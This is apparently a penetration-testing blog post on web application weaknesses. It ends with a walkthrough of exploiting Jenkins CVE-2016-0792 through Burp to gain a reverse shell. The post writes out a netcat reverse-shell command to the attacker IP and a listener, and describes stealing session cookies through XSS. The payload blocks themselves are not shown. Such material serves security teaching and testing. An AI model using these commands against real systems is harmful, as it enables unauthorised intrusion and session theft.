Web applications are a natural occurrence in almost every engagement. This is the case on both internal and external networks of just about every company or organization. Sometimes they are kept separate from the rest of the network, sometimes they are everywhere, and sometimes they are hidden or forgotten (even from the people who run the network!).
Web applications will often have a wide variety of uses in the organization. Due to this, they will have a lot of variance in their purpose and complexity, resulting in an application that can be very dynamic in nature with a wide degree of vulnerabilities and flaws. These vulnerabilities will often times vary greatly, ranging from improper handling of user input, general misconfigurations that affect usability, all the way to implementation of vulnerable software that allows for full compromise.
We will most often see applications with vulnerabilities in the following areas:
- Unlinked or Outdated Content: Often times, application content will exist that is unknowingly accessible, which results in a negative impact to security of the system or organization.
- Improper User Input: Any area of user input should be properly validated and are often forgotten or ignored.
- Content Management Systems & Plugins: Many companies will utilize a third party content management system or 3rd party plugins for the CMS, and are often left unpatched and vulnerable.
- Implementation of Known Vulnerable Software: Software will be implemented to serve a particular purpose, and will not be remedied when a vulnerabilities is released.
Note: These testing techniques were covered deeper in our BSidesDC 2016 talk “Beyond Automated Testing”Unlinked/Outdated Content:
Often time’s features of an application will be added or installed by default. These features may not have a production use or they are no longer needed and have been forgotten. This content will often contain a functionality that can be a detriment to the application as a whole, such as an insecure login form or a plugin that has not been updated.
An excellent example of dangerous content would be an unlinked Tomcat Manager resource. This is generally unlinked in the application and will often run on a different port or a different portion of the application. If this is accessible by default, it provides a management interface login that will allow the deployment of code that results in a full system compromise.
Improper User Input:
A common practice is to include areas of user input in an application to serve a purpose to both the user and the organization. An example of this could be a username/password field for a login in an application. This serves the purpose of allowing the user to access additional content, and provides the organization the ability to protect content from unauthorized user.
In the case of improperly handled user input, the addition of user input creates a host of potential issues, such as Cross-Site Scripting (XSS), SQL Injection, command execution, and so on. An example of this particular vulnerability is the existence of XSS in an application. This allows us to request the users session cookie (document.cookie), which could potentially allow us to take control of their existing session on the application (post authentication). Under normal circumstances we would create a malicious link containing the XSS and entice the user to click, resulting in execution of our code. We would then send the resulting data back to an attacker controlled server and attempt to ride the session. Below is an example of using XSS to send the current sessions cookie to the attacker.
Stored XSS Example:
Content Management Systems & Plugins:
Existing content management systems (CMS) are often deployed on an application to avoid extensive custom development and to ease the management of the system. Examples of content management systems are WordPress, Joomla, Tomcat, and so on. A lot of CMS today will utilize plugins and third party software to enhance the functionality and usability of the system. An example of a CMS introducing vulnerability would be WordPress relying on third party plugins, often with little approval required. This reliance on third party plugins and code is often the source of the trouble with these applications.
Known Vulnerable Software:
An organization will often deploy software and will either forget to apply updates, or not do their due diligence in validating that a software does not have known vulnerabilities. It is an important process to verify that the code deployed is secure by checking for CVEs or exploits related the application and doing thorough testing. Below is an attack narrative of a deployed piece of software (Jenkins) that has known vulnerabilities (Java Deserialization). In this scenario we take a look at the most recent CVE that was released with known exploits that can be easily replicated to gain full compromise of the system.
Attacker Scenario:
Attacker IP: 192.168.1.2
Victim IP: 192.168.1.11
In this scenario we are aware of an existing system on the network with an IP of ‘192.168.1.11’ running Jenkins. The victim implementation of Jenkins is vulnerable to a recent CVE (2016-0792). This vulnerability is a possibly pre-authentication exploit against Jenkins due to the use of Groovy that utilizes Java XStream. This vulnerability allows for the deserialization and execution of data when provided by an external user, resulting in remote command execution against the system. This vulnerability can be exploited with a proxy tool, and in this blog we will be demonstrating by using Burpsuite Pro (although Burp Free is acceptable).
To begin, we will first get an initial site map of the application utilizing Burp:
Once we have mapped the application, we can identify the potentially vulnerable application content (/Jenkins/createItem?name=foo):
The application will return an error stating that a POST request is required, with the convenient option to craft the request for us. Using Burps modify request method option, we can now work with our newly crafted POST request. We can send the request to the Burp Repeater tool, and get a baseline response from the server:
The initial response should indicate a 400 BAD REQUEST. This is due to a malformed POST request lacking the appropriate content. At this point, under normal usage we would want to craft a legitimate request, but as an attacker we will be crafting a malicious request. To do so, we will need to create our initial payload, which is based on the research by Contrast Security:
At this point, we can modify our payload to perform an action that suits our need. For the sake of this example, we will get a reverse shell from the server to obtain full user-level access. For this example, we will request a netcat connection while shoveling a shell into the connection using the following command: ‘nc 192.168.1.2 8000 –e /bin/sh’
To properly execute this command, we will need to modify the payload in the 
We will also run a netcat listener to receive our shell with the following command: ‘nc –lvp 8000’
Upon executing the request, the response should show a 500 internal server error and receive our shell: 